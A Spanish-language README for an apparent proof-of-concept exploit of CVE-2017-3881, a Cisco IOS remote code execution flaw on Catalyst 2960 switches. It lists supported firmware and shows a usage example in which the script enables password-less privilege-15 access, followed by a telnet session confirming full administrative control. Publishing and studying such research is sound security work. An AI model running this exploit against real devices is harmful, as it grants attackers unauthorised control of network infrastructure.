CVE-2017-3881 Ejecución remota de código en Cisco IOS

Este repositorio contiene código de Prueba de Concepto para explotar la vulnerabilidad de ejecución remota de código divulgada por Cisco Systems el 17 de marzo de 2017 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp

Descripción

El análisis del exploit está disponible aquí - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/

El código del exploit RCE está disponible para el switch Cisco Catalyst 2960. Este exploit depende del firmware. Se admiten dos versiones de firmware:

• 12.2(55)SE1 C2960-LANBASEK9-M

• 12.2(55)SE11 C2960-LANBASEK9-M

El código de denegación de servicio está disponible como módulo Ruby de Metasploit. Esto debería funcionar para la mayoría de los switches mencionados en el aviso de Cisco (se necesita confirmación).

Ejemplo de uso

$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15

Autor

Artem Kondratenko https://twitter.com/artkond